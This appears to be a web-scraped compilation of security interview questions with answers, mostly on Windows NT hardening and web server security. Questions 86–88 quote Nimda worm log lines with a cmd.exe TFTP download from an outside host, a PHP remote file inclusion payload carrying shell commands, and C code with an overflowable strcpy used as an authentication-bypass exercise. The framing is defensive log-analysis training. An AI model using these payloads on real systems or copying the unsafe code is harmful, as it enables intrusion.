The question about "here design a secure network" on the white board. This is an open ended question, and works on how well the person can do architecture from scratch. My favorite variation on this is that given a web server, an e-mail system, switch, router, Firewall, and SIM or central data repository (aka kiwi syslog daemon) and IPS system, tie them all together into a Security Information management system, show information paths, ports used, and protocols used. Usually the original question does not go into ports and protocols and remains at the logical hierarchy, assuming that all the systems work and can talk back to a central repository, this really opens up the questioning to how well they not only understand architecture, but dependencies, interdependencies, protocol use, and the security arrangements around protocol use. Same question, just more in-depth to determine how well they understand the risks, limitations, and support for various systems in the path.
All the above questions, depending on which ones are used, can give a real good indication of what the person knows to do, and how well they think about large and small issues. All of these questions do not trigger any HR issues, and as long as they pertain to the job, should not get the interviewer into any issues. The key thing on these questions is that the interviewer has to be knowledgeable about these, or if it is team interviewing, they should be knowledgeable about the answers. Many of these are leading and can provide for some really interesting responses back from the interviewee's. These are really just solid technical interview questions that many information security people should be able to answer given how many years they have been in the field, or how much exposure they have had to various technologies, or what they like to do.

Read More Answers.

Question # 56

What is LSA (Local Security Authority)?

Answer:-

LSA stands for Local Security Authority. This is an internal subsystem (as opposed to an environmental ditto, such as Win32) within Windows NT that "generates access tokens [...], manages the local security policy, and provides interactive user authentication services" (from "Windows NT resource guide", ISBN 1-55615-653-7).

Read More Answers.

Question # 57

What is a secure channel?

Answer:-

There is some confusion on this point when you consult the Microsoft sources on the subject. Ever since MS discovered the Internet, a secure channel is any point-to-point network connection established between a client and a server that "provides privacy, integrity, and authentication" (see $$$: Microsoft Internet Security Framework: Answers to Frequently Asked Questions).
"Before Internet", a secure channel was (and still is) the magic connection between WNT computers in a domain. This kind of channel is used for transportation of sensitive data, such as user credentials during a domain logon and replication of the account database between DCs.
The secure channel is established as soon as the domain member machine is booted and is based on a shared secret that is used as the key for encrypting the data that travels through the channel. Each domain member has a machine account defined in the domain SAM database that is created when the machine joins the domain. The password of this account is used as the shared secret for encryption of the channel. The member machine stores it in the registry, where it can be retrieved using the lsadump program by Paul Ashton .
A problem with this is that the initial password (on a WS account) is poorly chosen (unicode(machine-name)). This means that anybody that can listen in to the network at the time of a domain join will be able to calculate the session key used to encrypt the channel, and by this can get hold of the user credentials of anybody doing a network logon from that particular machine. The password is changed as soon as the machine is rebooted after joining the domain and then periodically changed every 7:th day, but the new password is communicated through -- guess what -- the now not so secure channel, so as long as the listener keeps his ear on the wire, he will have the session key. No known solution, but the algorithm for encrypting the new password is not published (yet).

Read More Answers.

Question # 58

Host security

Answer:-

In general, any computer that is not physically secured is not fully secured. If anyone is able to get access to the machine, it is possible to boot it from a diskette, CD-ROM or just steal the hard disk and use it in another computer.

Read More Answers.

Question # 59

How do I get my computer C2-level secure, or, what is c2config?

Answer:-

On the CD-ROM that is included in the NT Resource Kit, there is a program called c2config that can be used for tighten the security of a NT based computer.
Be aware, that c2config will not work well on systems with localized environment, e.g. a german NT that uses ACLs in german, not in english.

Read More Answers.

Question # 60

User security?

Answer:-

Users are susceptible to a number of attacks, such as dictionary password guessing. In Windows NT, one way to protect against those types of attacks is to set the number of failed logins before disabling the account temporary or until the system manager manually enables it again.

Read More Answers.

Question # 61

Guest account

Answer:-

As shipped, some older versions of Windows NT had a guest account that was easily used by outsiders. Newer versions of NT have their guest account closed as shipped from Microsoft. Anyway, you should check out your guest account and disable it as much as possible.
Some people remove the guest account from their system, but unfortunately, Microsoft ship some product that relies upon the usage of that account. For example, if you use Microsoft Internet Studio in combination with Microsoft SQL or Microsoft Access running on another computer than the one running Internet Studio.

Read More Answers.

Question # 62

Is NT susceptible to SYN flood attacks?

Answer:-

Yes. To my knowledge, all IP based systems are possible victims for the attack.

Read More Answers.

Question # 63

What ports must I enable to let NBT (NetBios over TCP/IP) through my firewall?

Answer:-

First of all, you should really, really reconsider if this is such a good idea to let NBT traffic through your firewall. Especially if the firewall is between your internal network and Internet.
The problem with NBT is that at once you open it up through the firewall, people will have potential access to all NetBios services, not just a selection of them, such as printing.
The following is a list of the ports used by NBT.
* netbios-ns 137/tcp NETBIOS Name Service
* netbios-ns 137/udp NETBIOS Name Service
* netbios-dgm 138/tcp NETBIOS Datagram Service
* netbios-dgm 138/udp NETBIOS Datagram Service

* netbios-ssn 139/tcp NETBIOS Session Service
* netbios-ssn 139/udp NETBIOS Session Service

Read More Answers.

Question # 64

What should I think about when using SNMP?

Answer:-

In other SNMP-enabled machines you can configure both an write and a read community name. On a Windows NT system you can only set one. Not having a community name does not disable the service, as one might expect. According to David LeBlanc, :

Read More Answers.

Question # 65

What are giant packets? Or, is Windows NT susceptible to the PING attack?

Answer:-

There are mixed reports whether or not NT is vulnerable to this attack. By using ping to send a large packet to certain systems, they might hang or crash.
Windows NT 3.51 seem to be vulnerable to this attack. A knowledge base article, Q132470, describes symptoms in Windows NT 3.51, and also include a pointer to a patch for this problem

Read More Answers.

Question # 66

Web server security

Answer:-

There are a number of problems with web servers. Bugs in the server, stupid CGI scripts, erroneous configurations, strange other services (e.g. data base connections) are just a few things that might be used to damage your security.
You might want to look at the WWW Security FAQ to get some general security information on WWW.
If you install an Windows NT machine as a web server or a firewall, you should tighten up the security on that box more that you should do to ordinary machines on your internal network since a machine accessible from the Internet are more vulnerable and more likely to be attacked. Securing the machine gives you a bastion host.
Some of the things you should do include
* Remove all protocol stacks except TCP/IP, since IP is the only protocol that runs on the Internet
* Remove some network bindings
* Disable all unnecessary accounts, like guest
* Remove share permissions and default shares
* Remove network access for everyone (User Manger -> Policies -> User rights, "Access this computer from the network")
* Disable unnecessary services (FTP, etc)
* Enable audit logging
* Track the audit information

Read More Answers.

Question # 67

What is Rollback.exe?

Answer:-

On the NT 4.0 CD-ROM there are a utility called rollback.exe that will corrupt your system if run. It is not intended for end-users, but someone slipped and the tool is now out on many users systems.
Without any sign of warning, rollback.exe will remove all system registry entries, which in turn will leave the system in a state where there are not easy way to recover. One have to grab the emergency repair disk and do a restore from the latest backup.

Read More Answers.

Question # 68

What is AFTP, NVAlert and NVRunCmd?

Answer:-

When installing the complete SNA package, you will get at least three more services, AFTP, NVAlert and NVRunCmd.
* AFTP is like its TCP/IP counterpart FTP a tool to transfer files over the net. It might be used for anonymous logins as well.
* NVRunCmd is a service that lets someone running the NetView network monitoring tool send ordinary commands over the net that will be executed locally on the Windows NT machine.
Make sure that you have disabled these services if you want to run a more secure setup.

Read More Answers.

Question # 69

There are a number of things to do to get better security on remote connections

Answer:-

There are a number of things to do to get better security on remote connections
* Putting the RAS servers on one or more own interfaces in the firewall
* Be sure to turn on auditing for the RAS function
* Enable authentication
* Enable session encryption
* Enable dialback
* Specify which hours remote users are allowed
To turn on auditing for RAS, use the regedit utility to set the key
HKEY_LOCAL_MACHINESystemCurrentControlSetServicesRasManParametersLogging

to 1, then restart RAS.

Read More Answers.

Question # 70

Can I grant access to someone to view or change the logfiles?

Answer:-

Yes you can, but there is an error on the manual on how to do it. Check out Knowledge Base article Q142615 to see why the "Manage auditing and security log" privilege does not work as documented.

Read More Answers.

Question # 71

Where is the password that I configure a service to start with stored?

Answer:-

HKLMSECURITYPolicySecrets_SC_servicenameCurrVal contains the encrypted password of the service. The password is not machine or account dependent. i.e. a user foo with password bar in domain X in NT3.51 has the same encrypted value as user baz in domain Y with NT4.0 (with password bar).

Read More Answers.

Question # 72

Securing New Systems questions

Answer:-

* When we acquire a new server or desktop computer, do we follow a defined set of procedures to set it up?
* How do we â€œlock downâ€• a new system? Do we:
Turn on or install software firewalls? â€¢ And/or use a hardware firewall? o Turn off unnecessary services (e.g. FTP on a desktop computer that doesn't need to support this protocol)? o Rename administrator user names as appropriate? Change default passwords? o Follow product-specific advice or expert checklists on how to secure new servers and applications? (For instance, software vendors and outside experts offer white papers or checklists on how to secure, for instance, a Windows XP workstation or a Linux server.)
* Do we test new systems for security using tools such as the Microsoft Baseline Security Analyzer, etc?

Read More Answers.

Question # 73

Anti-Virus questions

Answer:-

* Do we run anti-virus software? Which tool(s) do we use? o On all servers? On all critical desktops? o On all end user desktops?
* â€¢ Are our virus definitions current?
o How often are the definitions updated? (At least twice weekly is advised; many experts suggest daily updates.)
* â€¢ Do we run spyware detection software on our servers and on end user computers?
* â€¢ How are servers and end-user computers given new antivirus definitions? (From the vendor's Web site, from a local server, or otherwise?)
* â€¢ Have we enabled automatic scanning for virus definition updates on servers and end-user computers?
* Do we scan incoming and outgoing email for viruses (as well as other modes of transmission)?
* Do we educate our users about virus avoidance (e.g. be wary of attachments in general, don't run .EXE files sent via email, etc.)
* computers to install new software, so as to limit the capacity of viruses to install themselves? o E.g. using Microsoft's Group Policy Option?

Read More Answers.

Question # 74

Backups questions

Answer:-

* â€¢ How often do we back up our servers? How often do we back up the desktop computers that we use for departmental business functions
o A common practice is weekly backups of all data, and daily backups of files or data that have changed.
* â€¢ What backup media do we use? Is hardware to read that media commonly available?
* â€¢ When did we last test our backup procedures to make sure data can be restored? <
* Are our backups in â€œimageâ€• format (requiring identical hardware or software to restore)? Could we load our backups into another system if need be?
* â€¢ Do we take backup tapes offsite? Where? How often?
* â€¢ How often do we back up end user desktops? Or is this the responsibility of end users

Read More Answers.

Question # 75

Network Security questions

Answer:-

* Do we use hardware firewalls to protect critical servers and desktop computers?
o How often do we examine event logs and real-time displays to see if we are under attack?
o Do we use software firewalls to protect end-user computers (e.g. laptops that may spend time away from protection of the departmental hardware firewall)?
* Do we monitor the network for security exposures using auditing tools such as ISS, or Nessus?
* Do we monitor the network for unusual patterns of traffic? (E.g. a server or an end user computer suddenly begins emitting huge amounts of traffic.)
* Do we ensure that all critical business transactions take place using encrypted transmission? (E.g. SSL for Web or email transactions, SSH or VPN for remote login, encrypted file transfers)?

Read More Answers.

Question # 76

Data Security questions

Answer:-

* What confidential personal information (e.g., Social Security numbers) do we store on our servers? Do we minimize use of SSNs to the extent feasible? Could we use another identifier, such as MSU PID numbers instead?
o If we do need to store confidential data such as SSNs locally, how secure are the servers that house the information?
* Instead of storing personal confidential information locally, could we do business in some other way? Could we eliminate those confidential data elements from our local databases? Could we instead routinely access data as needed from University data services (thus obviating the need for the local copies)?
* Have all personnel within the unit been adequately trained in University data security requirements and applicable state or federal laws and regulations (e.g. FERPA, HIPAA, Gramm-Leach-Bliley Act)?

Read More Answers.

Question # 77

Disaster Recovery Planning questions

Answer:-

* Do we have a written disaster recovery plan?
o Are copies in possession of departmental management? At their homes?
* â€¢ When was our plan last updated?
* Does our plan include:
o A list of who in the department is empowered to declare a disaster? A list of critical personnel who will need to respond to a disaster?
--------- Telephone numbers (home, cell) for all critical personnel?
o An inventory of all our critical business functions?
o An inventory of the computer systems that support those functions?
------.. Including not only servers but critical desktop computers (e.g. departmental secretaries' computers)?
o A rank-ordered list of which business functions we would restore first in event of a disaster?
* Suppose we had to evacuate the building due to a major disaster (fire, flood, chemical or biological event renders building inaccessible). Suppose all our systems are offline. How long would it take to restore basic departmental business functions and data from our offsite backup tapes?

Read More Answers.

Question # 78

Security interview questions for network admin questions

Answer:-

1. What is a firewall?
2. Describe, genrally, how to manage a firewall
3. What is a Denial of Service attack?
v 4. What is a â€œspoofedâ€• packet?
5. What is a SYN Flood?
6. What do you do if you are a victim of a DoS?
7. What is GPG/PGP?
8. What is SSH?
9. What is SSL? How do you create certificates?
10. What would you do if you discovered a UNIX or Network device on your network has been compromised?
11. What would you do if you discovered a Windows system on your network has been comrpromised?
12. What is DNS Hijacking?
13. What is a log host?
14. What is IDS or IDP, and can you give me an example of one?
15. Why are proxy servers useful?
16. What is web-caching?

Read More Answers.

Question # 79

Exactly what security risks are we talking about?

Answer:-

There are basically three overlapping types of risk:
1. Bugs or misconfiguration problems in the Web server that allow unauthorized remote users to:
* Steal confidential documents not intended for their eyes.
* Execute commands on the server host machine, allowing them to modify the system.
* Gain information about the Web server's host machine that will allow them to break into the system.
* Launch denial-of-service attacks, rendering the machine temporarily unusable.
2. Browser-side risks, including:
* Active content that crashes the browser, damages the user's system, breaches the user's privacy, or merely creates an annoyance.
* The misuse of personal information knowingly or unkowingly provided by the end-user. 3. Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server including:
* The network on the browser's side of the connection.
* The network on the server's side of the connection (including intranets).
* The end-user's Internet service provider (ISP).
* The server's ISP.
* Either ISPs' regional access provider.
It's important to realize that "secure" browsers and servers are only designed to protect confidential information against network eavesdropping. Without system security on both browser and server sides, confidential documents are vulnerable to interception.
Protecting against network eavesdropping and system security are the subject of sections 1 to 5 of this document. Client-side security is covered in sections 6 and 7. Section 8 deals with security alerts for specific Web servers.

Read More Answers.

Question # 80

Are some Web server software programs more secure than others?

Answer:-

Again, the answer is yes, although it would be foolhardy to give specific recommendations on this point. As a rule of thumb, the more features a server offers, the more likely it is to contain security holes. Simple servers that do little more than make static files available for requests are probably safer than complex servers that offer such features as on-the-fly directory listings, CGI script execution, server-side include processing, and scripted error handling.
Version 1.3 of NCSA's Unix server contains a serious known security hole. Discovered in March of 1995, this hole allows outsiders to execute arbitrary commands on the server host. If you have a version 1.3 httpd binary whose creation date is earlier than March 1995 don't use it! Replace it with the patched 1.3 server or with version 1.4 or higher (available at the same site). The Apache plug-in replacement for NCSA is also free of this bug.
Servers also vary in their ability to restrict browser access to individual documents or portions of the document tree. Some servers provide no restriction at all, while others allow you to restrict access to directories based on the IP address of the browser or to users who can provide the correct password. A few servers, primarily commercial ones (e.g. Netsite Commerce Server, Open Market), provide data encryption as well.
The WN server, by John Franks, deserves special mention in this regard because its design is distinctively different from other Web servers. While most servers take a permissive attitude to file distribution, allowing any document in the document root to be transferred unless it is specifically forbidden, WN takes a restrictive stance. The server will not transfer a file unless it has been explicitly placed on a list of allowed documents. On-the-fly directory listings and other "promiscuous" features are also disallowed.

Read More Answers.

Question # 81

Are server-side includes insecure?

Answer:-

Server side includes, snippets of server directives embedded in HTML documents, are another potential hole. A subset of the directives available in server-side includes instruct the server to execute arbitrary system commands and CGI scripts. Unless the author is aware of the potential problems it's easy to introduce unintentional side effects. Unfortunately, HTML files containing dangerous server-side includes are seductively easy to write.
Some servers, including Apache and NCSA, allow the Web master to selectively disable the types of includes that can execute arbitrary commands.

Read More Answers.

Question # 82

How do I secure Windows 2000 and IIS 5.0?

Answer:-

Security is a huge concern for anyone involved in business processes, management, and administration. A good resource of information on maintaining security in Windows 2000 and IIS is the security section of the Windows 2000 site. Also see Internet Information Services (IIS) on the Microsoft TechNet site, where you can find information on securing IIS servers in addition to resources that will help you maintain a secure system and stay current with any releases, updates, and tools.

Read More Answers.

Question # 83

What is the IIS Lockdown Tool?

Answer:-

This tool is part of the IIS Lockdown Wizard and it works by turning off unnecessary features of the IIS server and thereby reducing the attack surface available to an attacker. This tool also works in conjunction with URLscan to provide multiple layers of defense and protection. See the IIS Lockdown Tool page on TechNet describes its features and characteristics as well as provides steps for download and setup.

Read More Answers.

Question # 84

What is the Microsoft Baseline Security Analyzer?

Answer:-

The Microsoft Baseline Security Analyzer (MBSA) is a graphical and command-line interface developed by Microsoft that can perform local or remote scans of Windows systems, assessing any missing hotfixes and vulnerabilities in certain Microsoft products. See the Microsoft Baseline Security Analyzer page on TechNet for more information.

Read More Answers.

Question # 85

What online resources do you use to keep abreast of web security issues? Can you give an example of a recent web security vulnerability or threat?

Answer:-

Note: Goal of question â€" Determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT. Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.

Read More Answers.

Question # 86

Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened?

Answer:-

Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened? What would you do in response to this entry?
68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/
cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:httpodbc.dll HTTP/1.0" 200 566 "-" "-"

Note: Goal of question â€" To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.
If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?
You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.

Read More Answers.

Question # 87

What application generated the log file entry below? What type of attack is this?

Answer:-

What application generated the log file entry below? What type of attack is this? Assuming the index.php program is vulnerable, was this attack successful?
==========
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script

POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "unamex20-a" at POST_PAYLOAD
mod_security-action: 403
65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
---
Note: Goal of question â€" to verify that the applicant can interpret various web log files, identify attacks and possible impacts. The Mod_Security Apache module generated this data in the audit_log file. The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script. The commands being passed are in the POST PAYLOAD of the command. This attack was not successful for the following two reasons:
Â· The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the "uname â€"a" data in the POST PAYLOAD.
Â· The attacker also made a typo in the OS commands being passed in the POST PAYLOAD. She did not include a semicolon ";" between the ls and uname commands. The target host would fail to execute the "lsuname" command.

Read More Answers.

Question # 88

The file is called logon_validate and a typical logon request looks like this?

Answer:-

You have been asked to review the source code for a compiled script that is being used to validate logon credentials for a web application. The file is called "logon_validate" and a typical logon request looks like this â€"
"GET /cgi-bin/logon_validate?login=test&password=test"
The source code is shown below â€"

```
void show_error(void) {
 // AUTHENTICATION ERROR
exit(-1);
}
int main(int argc, char **argv) {
char error_on_auth='1';
char user[128];
char pass[128];
char *ch_ptr_begin;
char *ch_ptr_end;
 /***********************************/
 /* Get Username from Query String */
 /***********************************/
 ch_ptr_begin=(char *)strstr
 (****QUERY_STRING****,"login=");
 if (ch_ptr_begin==NULL)
          show_error();
 ch_ptr_begin+=6;
 ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
 if (ch_ptr_end==NULL)
          show_error();
 *(ch_ptr_end++)=' ';
 strcpy(user,ch_ptr_begin);
 /***********************************/
 /* Get Password from Query String */
 /***********************************/
 ch_ptr_begin=(char *)strstr(ch_ptr_end,"password=");
 if (ch_ptr_begin==NULL)
          show_error();
```

```
 ch_ptr_begin+=9;
 ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
 if (ch_ptr_end!=NULL) *(ch_ptr_end++)=' ';
 strcpy(pass,ch_ptr_begin);
 if ((strcmp(user,GOOD_USER)==0) &&
 (strcmp(pass,GOOD_PASS)==0))
                 error_on_auth='0';
 if (error_on_auth=='0') {

    // AUTHENTICATION OK!!
    } else {
    // AUTHENTICATION ERROR
    show_error();
    }
 // return(0); hehe could be evil ;PPPPP
 exit(0);
}
```

This pseudo-code is taken from the NGSec Web Auth Games
http://quiz.ngsec.biz:8080/game1/level6/replicant.php
Do you see any problems with this script?
How could an attacker exploit this script to bypass
the authentication mechanisms in this script?
What are some mitigation options?
Note: Goal of question â€" This is most likely the most complex question being asked during the interview due to the fact that the applicant will need to apply multiple layers of analysis, including both the attacker and defender perspectives.

Read More Answers.

Question # 89

How can I secure my client computers against my users?

Answer:-

One way to make it harder for the local user to do any harm to the system is to have a local PC without any hard disk or floppy disk. To boot, the system will need to talk to a boot server over the network.

Read More Answers.

Basic Common Most Popular Interview Topics.

1 : Logical Frequently Asked Interview Questions and Answers Guide.

2 : Computer Basics Frequently Asked Interview Questions and Answers Guide.

3 : Business intelligence Frequently Asked Interview Questions and Answers Guide.

4 : Aptitude Knowledge Frequently Asked Interview Questions and Answers Guide.

5 : Funny Frequently Asked Interview Questions and Answers Guide.

6 : Self Assessment Frequently Asked Interview Questions and Answers Guide.

7 : Mental Attitude Frequently Asked Interview Questions and Answers Guide.

8 : Assertiveness Frequently Asked Interview Questions and Answers Guide.

9 : Citizenship Frequently Asked Interview Questions and Answers Guide.

10 : Exit Frequently Asked Interview Questions and Answers Guide.

About Global Guideline.

Global Guideline is a platform to develop your own skills with thousands of job interview questions and web tutorials for fresher's and experienced candidates. These interview questions and web tutorials will help you strengthen your technical skills, prepare for the interviews and quickly revise the concepts. Global Guideline invite you to unlock your potentials with thousands of **Interview Questions with Answers** and much more. Learn the most common technologies at Global Guideline. We will help you to explore the resources of the World Wide Web and develop your own skills from the basics to the advanced. Here you will learn anything quite easily and you will really enjoy while learning. Global Guideline will help you to become a professional and Expert, well prepared for the future.

* This PDF was generated from https://GlobalGuideline.com at **November 29th, 2023**

* If any answer or question is incorrect or inappropriate or you have correct answer or you found any problem in this document then don't hesitate feel free and e-mail us we will fix it.

You can follow us on FaceBook for latest Jobs, Updates and other interviews material.
www.facebook.com/InterviewQuestionsAnswers

Follow us on Twitter for latest Jobs and interview preparation guides
https://twitter.com/InterviewGuide

Best Of Luck.

Global Guideline Team
https://GlobalGuideline.com
Info@globalguideline.com